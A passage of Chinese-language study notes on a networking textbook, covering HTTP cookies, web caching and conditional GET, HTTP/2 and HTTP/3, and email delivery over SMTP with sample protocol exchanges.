id="用户与服务器的交互-cookie"><a href="#用户与服务器的交互-Cookie" class="headerlink" title="用户与服务器的交互: Cookie"></a>用户与服务器的交互: Cookie</h4><p>&emsp;&emsp;我们前面提到了HTTP服务器是无状态的. 这简化了服务器的设计,并且允许工程师开发可以同时处理数千个TCP连接的高性能Web服务器. 然而一个Web站点通常希望能够识别用户,可能是因为服务器希望限制用户的访问,或者因为它希望把内容与用户身份联系起来. 为此,HTTP使用了Cookie. Cookie在[RFC 6265]中定义,它允许用户进行跟踪. 目前大多数商务Web站点都使用了Cookie. </p><p>如下图所示,Cookie技术有4个组件:</p><ul><li><p>在HTTP响应报文中的一个Cookie首部行;</p></li><li><p>在HTTP请求报文中的一个Cookie首部行;</p></li><li><p>在用户端系统中保留的一个Cookie文件,并由用户的浏览器进行管理；</p></li><li><p>位于Web站点的一个后端数据库.</p></li></ul><blockquote><p>这里省去一个例子. </p></blockquote><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/13.png"><p>&emsp;&emsp;Cookie可以用于标识一个用户. 用户首次访问一个站点时,可能需要提供一个用户标识(可能是名字[实际上会是根据某个密钥加一些个人信息加密生成的]). 在后继会话中,浏览器向服务器传递一个Cookie首部,从而向该服务器标识了用户. 因此Cookie可以在无状态的HTTP之上建立一个用户会话层. 例如，当用户向一个基于Web的电子邮件系统注册时,浏览需向服务器发送Cookie信息,允许该服务器在用户与应用程序会话的过程标识该用户. </p><p>&emsp;&emsp;尽管Cookie通常能够简化用户的因特网购物活动,但是其使用仍具有争议,因为它被认为是对用户隐私的一种侵害. 如我们刚才所见,结合Cookie和用户提供的账户信息,Web站点可以得知许多有关用户的信息,并可能将这些信息卖给第三方. </p><blockquote><p>所以现在很多站点会询问是否允许记录Cookie. </p></blockquote><h4 id="web缓存"><a href="#Web缓存" class="headerlink" title="Web缓存"></a>Web缓存</h4><p>&emsp;&emsp;<font color="#ff9f9f"><strong>Web缓存器(Web cache)</strong></font>也叫<font color="#ff9f9f"><strong>代理服务器(proxy server)</strong></font>,它是能够代表初始Web服务器来满足HTTP请求的网络实体. Web缓存器有自己的磁盘存储空间,并在存储空间中保存<em>最近请求过的对象的副本</em>. 如下图所示,可以配置用户的浏览器,使得用户的所有HTTP请求首先指向Web缓存器[RFC 7234]. 一且某浏览器被配置,每个对某对象的浏览器请求首先被定向到该Web缓存器. 举例来说,假设浏览器正在请求对象http:<a href="http://www.someschool.edu/campus.gif,%E5%B0%86%E4%BC%9A%E5%8F%91%E7%94%9F%E5%A6%82%E4%B8%8B%E6%83%85%E5%86%B5">www.someschool.edu/campus.gif,将会发生如下情况</a>:</p><ul><li><p>浏览器创建一个到Web缓存器的TCP连接,并向Web缓存HTTP请求. </p></li><li><p>Web缓存器进行检查,看看本地是否存储了该对象副本. 如果有,Web绥存器就向客户浏览器用HTTP响应报文返回该对象. </p></li><li><p>如果Web绥存器中没有该对象,它就打开一个与该对象的初始服务器(即<a href="http://www.someschool.edu)的tcp连接/">www.someschool.edu)的TCP连接</a>. Web缓存器则在这个缓存器到服务器的TCP连接上发送一个对该对象的HTTP请求. 在收到该请求后,初始服务器向该Web缓存器发送具有该对象的HTTP响应. </p></li><li><p>当Web缓存器接收到该对象时,它在本地存储空间存储一份副本,并向客户的浏览器用HTTP响应报文发送该副本(通过客户浏览器和Web缓存器之间现有的TCP连接).</p></li></ul><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/14.png"><p>&emsp;&emsp;值得注意的是Web缓存器既是服务器又是客户. 当它接收浏览器的请求并发回响应时,它是一个服务器. 当它向初始服务器发出请求并接收响应时,它是一个客户. </p><p>&emsp;&emsp;在因特网上部署Web绥存器有两个原因. 首先,Web缓存器可以大大减少对客户请求的响应时间,特别是当客户与初始服务器之间的瓶颈带宽远低于客户与Web缓存器之间的瓶颈带宽时更是如此. 如果在客户与Web缓存器之间有一个高速连接(情况常常如此),并且如果用户所请求的对象在Web缓存器上,则Web缓存器可以迅速将该对象交付给用户. 其次,如我们马上用例子说明的那样,Web缓存器能够大大减少一个机构的接入链路到因特网的通信量. 通过减少通信量,该机构(如一家公司或者一所大学)就不必急于增加带宽,因此降低了费用. 此外,Web缓存器能从整体上大大减少因特网上的Web流量,从而改善了所有应用的性能. </p><p>&emsp;&emsp;为了深刻理解缓存器带来的好处,我们考虑在下图场景下的一个例子. 该图显示了两个网络,即机构(内部)网络和公共因特网的一部分. 机构网络是一个高速的局域网,它的一台路由器与因特网上的一台路由器通过一条15Mbps的链路连接. 这些初始服务器与因特网相连但位于全世界各地. 假设对象的平均长度为1Mb,从机构内的浏览器对这些初始服务器的平均访问速率为每秒15个请求. 假设HTTP请求报文小到可以忽略,因而不会在网络中以及接入链路(从机构内部路由器到因特网路由器)上产生什么通信量. 我们还假设在图中从因特网接入链路一侧的路由器转发HTTP请求报文(在一个IP数据报中)开始,到它收到其响应报文(通常在多个IP数据报中)为止的时间平均为2s. 我们将该持续时延非正式地称为<strong>“因特网时延”</strong>. </p><p>&emsp;&emsp;<img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/15.png"></p><p>&emsp;&emsp;总的响应时间,即从浏览器请求一个对象到接收到该对象为止的时间,是局域网时延、接入时延(即两台路由器之间的时延)和因特网时延之和. 我们来粗略地估算一下这个时延,局域网上的流量强度为:</p><pre><code>(15个请求/s)x(1Mb/请求)/(100Mbps)=0.15</code></pre><p>然而接入链路上的流量强度(从因特网路由器到机构路由器)为</p><pre><code>(15个请求/s)x(1Mb/请求)/(15Mbps)=1</code></pre><p>&emsp;&emsp;局域网上强度为0.15的通信量通常最多导致数十毫秒的时延,因此我们可以忽略局域网时延. 然而,如在1.4.2节讨论的那样,如果流量强度接近1(就像图中接入链路的情况那样),链路上的时延会变得非常大并且无限增长. 因此,满足请求的平均响应时间将在分钟的量级上. 显然,必须想办法来改进时间响应特性. </p><p>&emsp;&emsp;一个可能的解决办法就是增加接入链路的速率,如从15Mbps增加到100Mbps. 这可以将接入链路上的流量强度减少到0.15,这样一来,两台路由器之间的链路时延也可以忽略了. 这时,总的响应时间将大约为2s,即为因特网时延. 但这种解决方案也意味着该机构必须将它的接入链路由15Mbps升级为100Mbps,这是一种代价很高的方案(很贵的). </p><p>&emsp;&emsp;现在来考虑另一种解决方案,即不升级链路带宽而是在机构网络中安装一个Web缓存器. 这种解决方案如图2-13所示. 现实中的命中率(即由一个缓存器所满足的请求的比率)通常在0.2~0.7之间. 为了便于阐述,我们假设该机构的缓存命中率为0.4. 因为客户和缓存连接在一个相同的高速局域网上,这样40%的请求将几乎立即会由缓存器得到响应,时延约在10ms以内. 然而,剩下的60%的请求仍然要由初始服务器来满足. 但是只有60%的被请求对象通过接入链路,接人链路上的流量强度从1.0减小到0.6. 一般而言在15Mbps链路上,当流量强度小于0.8时对应的时延较小,约为几十毫秒. 这个时延与2s因特网时延相比是微不足道的. </p><p>&emsp;&emsp;因此,第二种解决方案提供的响应时延甚至比第一种解决方案更低,也不需要该机构升级它到因特网的链路. 该机构理所当然地要购买和安装Web缓存器. 除此之外其成本较低,很多缓存器使用了运行在廉价PC上的公共域软件. </p><p>&emsp;&emsp;通过使用<font color="#ff9f9f"><strong>内容分发网络(Content Distribution Network,CDN)</strong></font>,Web缓存器正在因特网中发挥着越来越重要的作用. CDN公司在因特网上安装了许多地理上分散的缓存器,因而使大量流量实现了本地化. 有多个共享的CDN(例如Akamai和Limelight)和专用的CDN(例如谷歌和Netflix). </p><p><strong>条件GET方法</strong></p><p>&emsp;&emsp;尽管高速缓存能减少用户感受到的响应时间,但也引入了一个新的问题,即存放在缓存器中的对象副本可能是陈旧的. 换名话说,保存在服务器中的对象自该副本缓存在客户上以后可能已经被修改了. 幸运的是,HTTP有一种机制,允许缓存器证实它的对象是最新的. 这种机制就是<font color="#ff9f9f"><strong>条件GET(conditional GET)</strong></font>[RFC7232]. 如果HTTP请求报文使用GET方法,并且请求报文中包含一个<code>If-modified-since</code>首部行,那么,这个HTTP请求报文就是一个条件GET请求报文. </p><p>&emsp;&emsp;为了说明GET方法的操作方式,我们看一个例子. 首先,一个代理缓存器(proxy cache)代表一个请求浏览器,向某Web服务器发送一个请求报文:</p><pre><code class="http">GET /fruit/kiwi.gif HTTP/1.1Host: www.exotiquecuisine.com</code></pre><p>&emsp;&emsp;其次,该Web服务器向缓存器发送具有被请求的对象的响应报文:</p><pre><code class="http">HTTP/1.1 200 OKDate: Sat, 3 Oct 2015 15:39:29Server: Apache/1.3.0 (Unix)Last-Modified: Wed,9 Sep 2015 09:23:24Content-Type: image/gif(data...)</code></pre><p>&emsp;&emsp;该缓存器在将对象转发到请求的浏览器的同时,也在本地缓存了该对象. 重要的是,缓存器在存储该对象时也存储了最后修改日期. 最后,一个星期后,另一个用户经过该缓存器请求同一个对象,该对象仍在这个缓存器中. 由于在过去的一个星期中位于Web服务器上的该对象可能已经被修改了,该缓存器通过发送一个条件GET执行最新检查. 具体来说,该缓存器发送:</p><pre><code class="http"> GET /fruit/kiwi.gif HTTP/1.1 Host: www.exotiquecuisine,com If-modified-since: Wed, 9 Sep 2015 09:23:24</code></pre><p>&emsp;&emsp;值得注意的是<code>If-modified-since</code>首部行的值正好等于一星期前服务器发送的响应报文中的<code>Last-Modified</code>首部行的值. 该条件GET报文告诉服务器,仅当自指定日期之后该对象被修改过,才发送该对象. 假设该对象自2015年9月9日09:23:24后没有被修改. 接下来的第四步,Web服务器向该缓存器发送一个响应报文:</p><pre><code class="http"> HTTP/1.1 304 Not Modified Date: Sat, 10 Oct 2015 15:39:29 Server: Apache/1.3.0 (Unix)  (empty entity body)</code></pre><p>&emsp;&emsp;我们看到,作为对条件CET方法的响应,该Web服务器仍发送一个响应报文,但并没有在该响应报文中包含所请求的对象. 包含该对象只会浪费带宽,并增加用户感受到的响应时间,特别是如果该对象很大更是如此. 值得注意的是在最后的响应报文中,状态行中为304 Not Modified,它告诉缓存器可以使用该对象,能向请求的浏览器转发它(该代理缓存器)缓存的对象副本. </p><h4 id="httpx2f2"><a href="#HTTP-2" class="headerlink" title="HTTP&#x2F;2"></a>HTTP&#x2F;2</h4><p>&emsp;&emsp;于2015年标准化的 HTTP&#x2F;2 [RFC 7540] 是自 HTTP&#x2F;1.1 以后的首个新版本, 而 HTTP&#x2F;1.1 是1997年标准化的. HTTP&#x2F;2 公布后, 2020年,在排名前1000万的 Web 站点中, 超过40%的站点支持 HTTP&#x2F;2. 大多数浏览器(包括Chrome、Internet Explorer、Safari、opera和Firefox)也支持 HITP&#x2F;2. </p><p>&emsp;&emsp;HTTP&#x2F;2 的主要目标是<em>减小感知时延</em>,其手段是<em>经单一TCP连接使请求与响应多路复用</em>,提供请求优先次序和服务推送,并提供 HTTP 首部字段的有效压缩. HTTP&#x2F;2 不改变 HTTP 方法、状态码、URL 或首部字段,而是改变数据格式化方法以及客户和服务器之间的传输方式. </p><p>&emsp;&emsp;回想 HTTP&#x2F;1.1, 其使用持续 TCP 连接,允许经单一 TCP 连接将一个 Web 页面从服务器发送到客户. 由于每个 Web 页面仅用一个 TCP 连接,服务器的套接字数量被压缩,并且所传送的每个 Web 页面平等共享网络带宽(如下面所讨论的). 但 Web 浏览器的开发者很快就发现了经单一 TCP 连接发送一个 Web 页面中的所有对象存在<font color="#ff9f9f"><strong>队首阻塞[Head Of Line (HOL) blocking]</strong></font>问题. </p><p>&emsp;&emsp;为了理解 HOL 阻塞,考虑一个 Web 页面,它包括一个 HTML 基本页面、靠近 Web 页面顶部的一个大视频片段和该视频下面的许多小对象. 进一步假定在服务器和客户之间的通路上有一条低速&#x2F;中速的瓶颈链路(例如一条低速的无线链路). 使用一条 TCP 连接, 视频片段将花费很长时间来通过该瓶颈链路, 与此同时, 那些小对象将被延迟, 因为它们在视频片段之后等待. 也就是说, 链路前面的视频片段阻塞了后面的小对象. HTTP&#x2F;1.1 浏览器解决该问题的典型方法是打开多个并行的 TCP 连接, 从而让同一Web页面的多个对象并行地发送给浏览器. 采用这种方法, 小对象到达并呈现在浏览器上的速度要快得多, 因此可减小用户感知时延. </p><p>&emsp;&emsp;TCP 拥塞控制(将在第3章中详细讨论)也使得浏览器倾向于使用多条并行 TCP 连接而非单一持续连接. 粗略来说, TCP 拥塞控制针对每条共享同一条瓶颈链路的 TCP 连接, 给出一个平等共享该链路的可用带宽. 如果有 n 条 TCP 连接运行在同一条瓶颈链路上, 则每条连接大约得到 1&#x2F;n 带宽. 通过打开多条并行 TCP 连接来传送一个 Web 页面, 浏览器能够”欺骗”并霸占该链路的大部分人带宽. 许多 HTTP&#x2F;1.1 打开多达 6 条并行 TCP 连接并非为了避免 HOL 阻塞,而是为了获得更多的带宽. </p><p>&emsp;&emsp;HTTP&#x2F;2 的基本目标之一是摆脱(或至少减少其数量)传送单一 Web 页面时的并行 TCP 连接. 这不仅减少了需要服务器打开与维护的套接字数量,而且允许TCP拥塞控制像设计的那样运行. 但与只用一个 TCP 连接来传送一个 Web 页面相比, HTTP&#x2F;2 要求仔细设计相关机制以避免 HOL 阻塞. </p><p><strong>1. HTTP&#x2F;2 成帧</strong></p><p>&emsp;&emsp;用于 HOL 阻塞的 HTTP&#x2F;2 解决方案是<strong>将每个报文分成小帧</strong>, 并且在相同 TCP 连接上<strong>交错</strong>发送请求和响应报文. 为了理解这个问题, 再次考虑由一个大视频片段和许多小对象(例如8个)组成的 Web 页面的例子. 此时, 服务器将从希望查看该 Web 页面的浏览器处接收到9个并行的请求. 对于每个请求, 服务器需要向浏览器发送9个<strong>相互竞争的报文</strong>. 假定所有帧具有固定长度, 该视频片段由1000帧(报文帧)组成,并且每个较小的对象由2帧组成. 使用帧交错技术, 在视频片段发送第一帧后, 发送每个小对象的第一帧. 然后在视频片段发送第二帧后,发送每个小对象的第二帧. 因此,在发送视频片段的18帧后,所有小对象就发送完成了. 如果不采用交错, 则发送完其他小对象共需要发送1016帧. 因此 HTTP&#x2F;2 成帧机制能够极大地减小用户感知时延. </p><p>&emsp;&emsp;将一个 HTTP 报文分成独立的帧、交错发送它们并在接收端将其装配起来的能力, 是 HTTP&#x2F;2 最为重要的改进. 这一成帧过程是通过 HTTP&#x2F;2 协议的<em>成帧子层</em>来完成的. 当某服务器要发送一个 HTTP 响应, 其响应由成帧子层来处理, 即将响应划分为帧. 响应的首部字段成为一帧, 报文体被划分为一帧以用于更多的附加帧. 通过服务器中的成帧子层, 该响应的帧与其他响应的帧交错并经过单一持续TCP连接发送. 当这些帧到达客户时, 它们先在成帧子层装配成初始的响应报文, 然后像以往一样由浏览器处理. 类似地, 客户的HTTP请求也被划分成帧并交错发送. </p><p>&emsp;&emsp;除了将每个 HTTP 报文划分为独立的帧外, 成帧子层也对这些帧进行二进制编码. 二进制协议解析更为高效, 会得到略小一些的帧, 并且更不容易出错. </p><p><strong>2. 响应报文的优先次序和服务器推(推送)</strong></p><p>&emsp;&emsp;报文优先次序允许研发者根据用户要求安排请求的相对优先权,从而更好地优化应用的性能. 如前文所述,成帧子层将报文组织为并行数据流发入相同的请求方. 当某客户向服务器发送并发请求时,它能够为正在请求的响应确定优先次序,方法是为每个报文分配1到256之间的权重. 较大的数字表明较高的优先. 通过这些权重,服务器能够为具有最高优先权的响应发送第一帧. 此外,客户也可通过指明相关的报文段ID,来说明每个报文段与其他报文段的相关性. </p><p>&emsp;&emsp;HTTP&#x2F;2 的另一个特征是允许服务器为一个客户请求而发送多个响应. 即除了对初始请求的啊应外, 服务器能够向该客户推额外的对象, 而无须客户再进行任何请求. 因为 HTML 基本页指示了需要在页面呈现的全部对象, 所以这一点是可实现的. 因此无须等待对这些对象的 HTTP 请求, 服务器就能够分析该 HTML 页, 识别需要的对象, 并在接收到对这些对象的明确的请求前将它们发送到客户. 服务器推消除了因等待这些请求而产生的额外时延. </p><h4 id="httpx2f3"><a href="#HTTP-3" class="headerlink" title="HTTP&#x2F;3"></a>HTTP&#x2F;3</h4><p>&emsp;&emsp;QUIC(在第3章讨论) 是一种新型的“运输”协议，它在应用层中最基本的UDP之上实现. QUIC 具有几个能够满足 HTTP 的特征, 例如报文复用(交错)、每流流控和低时延连接创建. HTTP&#x2F;3 是一种设计在 QUIC 之上运行的新 HTTP. 到2020年为止, HTTP&#x2F;3 处于因特网草案阶段, 还没有全面标准化. 许多 HTTP&#x2F;2 特征(如报文交错)已被收入 QUIC 中, 使得对 HTTP&#x2F;3 的设计更为简单合理. </p><h3 id="因特网中的电子邮件"><a href="#因特网中的电子邮件" class="headerlink" title="因特网中的电子邮件"></a>因特网中的电子邮件</h3><p>&emsp;&emsp;自从有了因特网，电子邮件就在因特网上流行起来. 当因特网还在襁褓之中时，电子邮件已经成为最流行的应用程序，年复一年，它变得越来越精细，越来越强大. 它仍然是当今因特网上最重要和实用的应用程序之一. </p><p>&emsp;&emsp;与普通邮件一样，电子邮件是一种异步通信媒介，即人们方便时就可以发送邮件，不必与他人的计划进行协调. 与普通邮件相比，电子邮件更为快速，易于分发，而且价格便宜. 现代电子邮件具有许多强大的功能，包括添加附件，超链接，HTML格式文本和图片. </p><p>&emsp;&emsp;在本节中，我们将讨论于因特网电子邮件核心地位的应用层协议. 在深入讨论这些应用层协议之前，我们先总体看看因特网电子邮件系统和他的关键组件. </p><p>&emsp;&emsp;图2-14给出了因特网电子邮件系统的总体情况. 从该图中，我们可以看到它有3个主要组成部分：<font color="#ff9f9f"><strong>用户代理(user agent)</strong></font>、<font color="#ff9f9f"><strong>邮件服务器(mail server)</strong></font>和简<font color="#ff9f9f"><strong>单邮件传输协议〈Simple Mail Transfer Protocol,SMTP)</strong></font>. 下面我们结合发送方Alice发电子邮件给接收方Bob的场景，对每个组成部分进行描述. 用户代理允许用户阅读，恢复，转发，保存和撰写报文. 微软的Outlook、Apple Mail、基于Web的Gmail和运行在智能手机上的Gmail客户端等都是电子邮件用户代理. 当Alice完成邮件撰写时,她的邮件代理向其邮件服务器发送邮件,此时邮件放在邮件服务器的外出报文队列. 当Bob要阅读代理在其邮件服务器的邮箱中取得该报文. </p><p>&emsp;&emsp;邮件服务器形成了电子邮件体系结构的核心. 每个接收方(如Bob)在其中的某个邮件服务器上有一个<font color="#ff9f9f"><strong>邮箱(mail box)</strong></font>. Bob的邮箱管理和维护着发送给他的报文. 一个典型的邮件发送过程是:从发送方的用户代理开始,传输到发送方的邮件服务器,再传输到接收方的邮件服务器,然后在这里被分发到接收方的邮箱中. 当Bob要在他的邮箱中读取该报文时,包含他邮箱的邮件服务器(使用用户名和口令)鉴别其身份. Alice的邮箱也必须能处理Bob的邮件服务器的故障. 如果Alice的服务器不能将邮件交付给Bob的服务器(比如Bob的邮件服务器发生了故障),Alice的邮件服务器在一个<font color="#ff9f9f"><strong>报文队列(message queue)</strong></font>中保持该报文并在以后尝试再次发送. 通常每30分钟左右进行一次和尝试,如果几天后仍不能成功,服务器就删除该报文并以电子邮件的形式通知发送方(Alice). </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/16.png"><p>&emsp;&emsp;SMTP是因特网电子邮件中主要的应用层协议. 它使用TCP可靠数据传输服务,从发送方的邮件服务器向接收方的邮件服务器发送邮件. 像大多数应用层协议一样,SMTP也有两个部分:运行在发送方邮件服务器的客户端和运行在接收方邮件服务器的服务器端. 每台邮件服务器上既运行SMTP的客户端也运行SMTP的服务器端. 当一个邮件其他邮件服务器发送邮件时,它服务器向就表现为SMTP的客户;当一个邮件服务器从其他邮件服务器上接收邮件时,它就表现为SMTP的服务器. </p><h4 id="smtp"><a href="#SMTP" class="headerlink" title="SMTP"></a>SMTP</h4><p>&emsp;&emsp;RFC 5321给出了SMTP的定义. SMTP是因特网电子邮件的核心. 如前所述,SMTP用于从发送方的邮件服务器发送报文到接收方的邮件服务器. SMTP问世的时间比HTTP要长得多(初始的SMTP的RFC可追溯到1982年,而SMTP在此之前很长一段时间就已经出现了). 尽管电子邮件应用在因特网上的独特地位可以证明SMTP有着众多非常出色的性质,但它所具有的某种陈旧特征表明它仍然是一种继承的技术. 例如,它限制所有邮件报文的体部分(不只是其首部)只能采用简单的7比特ASCII表示. 在20世纪80年代早期,这种限制是明智的,因为当时传输能力不足,没有人会通过电子邮件发送大的附件或大的图片、声音、视频文件然而,在今天的多媒体时代,7比特ASCII的限制的确有点痛苦,即在用SMTP传送邮件之前,需要将二进制多媒体数据编码为ASCI码,并且在使用SMTP传输后要求将相应的ASCII码邮件解码还原为多媒体数据. 2.2节讲过,使用HTTP传送前不需要将多媒体数据编码为ASCI码. </p><p>&emsp;&emsp;为了描述SMTP的基本操作,我们观察一种常见的情景. 假设Alice想给Bob发送一封简单的ASCII报文. </p><ul><li><p>Alice调用她的邮件代理程序并提供Bob的邮件地址(例如<a href="mailto:&#x62;&#111;&#x62;&#64;&#x73;&#111;&#109;&#x65;&#115;&#99;&#104;&#111;&#111;&#x6c;&#x2e;&#x65;&#x64;&#117;">&#x62;&#111;&#x62;&#64;&#x73;&#111;&#109;&#x65;&#115;&#99;&#104;&#111;&#111;&#x6c;&#x2e;&#x65;&#x64;&#117;</a>)，撰写报文,然后指示用户代理发送该报文. </p></li><li><p>Alice的用户代理把报文发到她的邮件服务器,在那里该报文被放在报文队列中. </p></li><li><p>运行在Alice的邮件服务器上的SMTP客户发现了报文队列中的这个报文,它创建一个到运行在Bob的邮件服务器上的SMTP服务器的TCP连接. </p></li><li><p>在经过一些初始SMTP握手后,SMTP客户通过该TCP连接发送Alice的报文. </p></li><li><p>在Bob的邮件服务器上,SMTP的服务器接收该报文. Bob的邮件服务器然后将该报文放入Bob的邮箱中. </p></li><li><p>在Bob方便的时候,他调用用户代理阅读该报文.</p></li></ul><p>&emsp;&emsp;需要注意，SMTP一般不使用中间邮件服务器发送邮件,即使这两个邮件服务器位于地球的两端也是这样. 假设Alice的邮件服务器在中国香港,而Bob的服务器在美国圣路易斯,那么这个TCP连接也是从香港服务器到圣路易斯服务器之间的直接相连. 特别是,如果Bob的邮件服务器没有开机,该报文会保留在Alice的邮件服务器上并等待进行新的尝试,这意味着邮件并不在中间的某个邮件服务器中存留. </p><p>&emsp;&emsp;我们现在仔细观察一下,SMTP是如何将一个报文从发送邮件服务器传送到接收邮件服务器的. 首先,客户端SMTP(运行在发送邮件服务器主机上)在25号端口建立一个到服务器SMTP(运行在接收邮件服务器主机上)的TCP连接. 如果服务器没有开机,客户端SMTP服务会在稍后继续尝试连接. 一旦连接建立,服务器和客户执行某些应用层的握手(就像人们在相互交流前先进行自我介绍一样). SMTP的客户和服务器在传输信息前先相互介绍. 在SMTP握手的阶段,客户端SMTP指示发送方的邮件地址和接收方的邮件地址. 一旦该SMTP客户和服务器彼此介绍之后,客户端SMTP服务发送该报文. SMTP能依赖TCP提供的可靠数据传输无差错地将邮件投递到接收服务器. 该客户如果有另外的报文要发送到该服务器,就在该相同的TCP连接上重复这种处;否则,它指示TCP关闭连接. </p><p>&emsp;&emsp;接下来我们分析一个在SMTP客户端(C)和SMTP服务器(S)之间交换报文文本的例子. 客户的主机名为crepes.fs,服务器的主机名为hamburger.edu. 以<code>C:</code>开头的ASCII码文本行正是客户交给其TCP套接字的那些行,以<code>S:</code>开头的ASCII码文本则是服务器发送给其TCP套接字的那些行. 一旦创建了TCP连接，就开始下列过程：</p><pre><code>S:  220 hamburger.eduC:  HELO crepes.frS:  250 Hello crepes.fr,Pleased to meet YoUC:  MAIL FROM:&lt;alice@crepes.fs&gt;S:  250 alice@crepes.fr ... Sender okC:  RCPT TO: &lt;bob@hamburger.edu&gt;S:  250 bob@hamburger.edu...Recipient okC:  DATAS:  354 Enter mail,end with &quot;.&quot; on a line by itselfC:  DO you like ketchup?S:  How about Pickles?C:  .S:  250 Message accepted for deliveryC:  QUITS:  221 hamburger.edua closing connection</code></pre><p>&emsp;&emsp;在上例中,客户从邮件服务器crepes.fr在向邮件服务器hamburger.edu发送了一个报文(Do you like ketchup?How about pickles?). 作为对话的一部分,该客户发送了5条命令:HELO(是HELLO的缩写)、MAILFROM、RCPTTO、DATA以及QUIT. 这些命令都是自解释的. 该客户通过发送一个只包含一个句点的行,向服务器指示该报文结束了. (按照ASCII码的表示方法,每个报文以CRLF.CRLF结束,其中的CR和IF分别表示回车和换行. )服务器对每条命令做出回答,其中每个回答含有一个回答码和一些(可选的)英文解释. 我们在这里指出SMTP用的是持续连接:如果发送邮件服务器有几个报文发往同一个接收邮件服务器,它可以通过同一个TCP连接发送所有这些报文. 对每个报文,该客户用一个新的<code>MAIL FROM:crepes.re</code>开始,用一个独立的句点指示该邮件的结束,并且仅当所有邮件发送完后才发送QUIT. </p><p>&emsp;&emsp;我们强烈推荐你使用Telnet与一个SMTP服务器进行一次直接对话. 使用的命令是<code>telnet ServerName 25</code>其中serverName是本地邮件服务器的名称. 当你这么做时,就直接在本地主机与邮件服务器之间建立了一个TCP连接. 输完上述命令后,你立即会从该服务器收到220回答. 接下来,在适当的时机发出HELO、MAIL FROM、RCPT TO、DATA、CRLF.CRLF以及QUIT等SMTP命令. </p><p>&emsp;&emsp;强烈推荐你做本章后面的编程作业3. 在该作业中,你将在SMTP的客户端实现一个简单的用户代理,它允许你经本地邮件服务器向任意的接收方发送电子邮件报文. </p><blockquote><p><strong>作业3:邮件客户</strong></p><p>&emsp;&emsp;这个编程作业的目的是创建一个向任何接收方发送电子邮件的简单邮件客户. 你的客户将必须与邮件服务器(如谷歌的电子邮件服务)创建一个TCP连接,使用SMTP协议与邮件服务器进行交谈,经该邮件服务器向某接收方(如你的朋友)发送一个电子邮件报文,最后关闭与该邮件服务器的TCP连接. </p><p>&emsp;&emsp;对本作业,配套Web站点为你的客户提供了框架代码. 你的任务是完善该代码并通过向不同的用户账户发送电子邮件来测试你的客户. 你也可以尝试通过不同的服务器(例如谷歌的邮件服务器和你所在大学的邮件服务器)进行发送. </p></blockquote><h4 id="邮件报文格式"><a href="#邮件报文格式" class="headerlink" title="邮件报文格式"></a>邮件报文格式</h4><p>&emsp;&emsp;当Alice给Bob写一封邮寄时间很长的普通信件时,她可能要在信的上部包含各种各样的环境首部信息,如Bob的地址、她自己的回复地址以及日期等. 类似地,当一个人给另一个人发送电子邮件,一个包含环境信息的首部位于报文体前面. 这些环境信息包括在一系列首部行,这些行由<code>RFC 5322</code>定义. 首部行和该报文的体用空(即<code>\t\n</code>)进行分隔. <code>RFC 5322</code>定义了邮件首部行和它们的语义解释的精确格式. 如同HTTP一样,每个首部行包含了可读的文本,是由关键词后跟冒号及其值组成的. 某些关键词是必需的,另一些则是可选的. 每个首部必须含有一个<code>From:</code>首部行和一个<code>To:</code>首部行,一个首部也许包含一个<code>Subjeet:</code>首部行以及其他可选的首部行. 注意:这些首部行不同于我们在2.3.1节所学到的SMTP命令(即使那里包含了某些相同的词汇，如from和to). 那节中的命令是SMTP握手协议的一部分. 本节中考察的首部行则是邮件报文自身的一部分. </p><p>&emsp;&emsp;一个典型的报文首部如下：</p><pre><code class="stmp">From: alice@crepes.frTD: bob@hamburger.eduSubject: Searching for the meaning of 1ife</code></pre><p>&emsp;&emsp;在报文首部之后，紧接一个空白行，然后是ASCII格式表示的报文体. 你应当用telnet向邮件服务器发送包含一些首行部的报文，包括<code>Subject:</code>首部行. </p><h4 id="邮件访问协议"><a href="#邮件访问协议" class="headerlink" title="邮件访问协议"></a>邮件访问协议</h4><p>&emsp;&emsp;一旦SMTP将邮件报文从Alice的邮件服务器交付给Bob的邮件服务器,该报文就被放入了Bob的邮箱中. 假设Bob(接收方)在其本地主机(如智能手机或PC)上运行用户代理程序,考虑在他的本地PC上也放置一个邮件服务器是自然而然的事,在这种情况下，Alice的邮件服务器就能直接与Bob的PC进行对话了. 然而这种方法会有一个问题：前面讲过邮件服务器管理用户的邮箱,并且和运行SMTP的客户端和服务器端. 如果Bob的邮件服务器位于他的PC上,那么为了能够及时接收可能在任何时候到达的新邮件,他的PC必须总是不间断地运行着并一直保持在线. 这对于许多因特网用户而言是不现实的. 相反,典型的用户通常在本地PC上运行一个<em>用户代理程序</em>,它访问存储在总是保持开机的共享邮件服务顺上的邮箱. 该邮件服务顺与其他用户共享. </p><p>&emsp;&emsp;现在我们考虑当从Alice向Bob发送一个电子邮件报文时所采取的路径. 我们刚才已经知道,在沿着该路径的某些点上,需要将电子邮件报文存放在Bob的邮件服务器上. 通过让Alice的用户代理直接向Bob的邮件服务器发送报文,就能够做到这一点. 然而,通常Alice的用户代理和Bob的邮件服务器之间并没有一个直接的SMTP对话. 相反,如图2-16所示,Alice的用户代理用SMTP或HTTP将电子邮件报文推入她的邮件服务器,接着她的邮件服务器(作为一个SMTP客户)再用SMTP将该邮件中继到Bob的邮件服务需. 为什么该过程要分成两步?主要是因为不通过Alice的邮件服务器进行中继,Alice的用户代理将没有任何办法到达一个不可达的目的地邮件服务器. 通过首先将邮件存放在自己的邮件服务器中,Alice的邮件服务器可以重复地尝试向Bob的邮件服务顺发送该报文,如每30分钟一次直到Bob的邮件服务器变得运行为止. (并且如果Alice的邮件服务器关机,则她能向系统管理员进行申告)</p><p>&emsp;&emsp;但是对于该难题仍然有一个疏漏的环节,像Bob这样的接收方,是如何通过运行其本地PC上的用户代理,获得位于他的某ISP的邮件服务器上的邮件呢?值得注意的是Bob的用户代理不能使用SMTP得到报文，因为SMTP是一个推协议，取得报文是一个拉操作. </p><p>&emsp;&emsp;今天,Bob从邮件服务器取回邮件有两种常用方法. 如果Bob使用基于Web的电子邮件或智能手机上的客户端(如Gmail),则用户代理将使用HTTP来取回Bob的电子邮件. 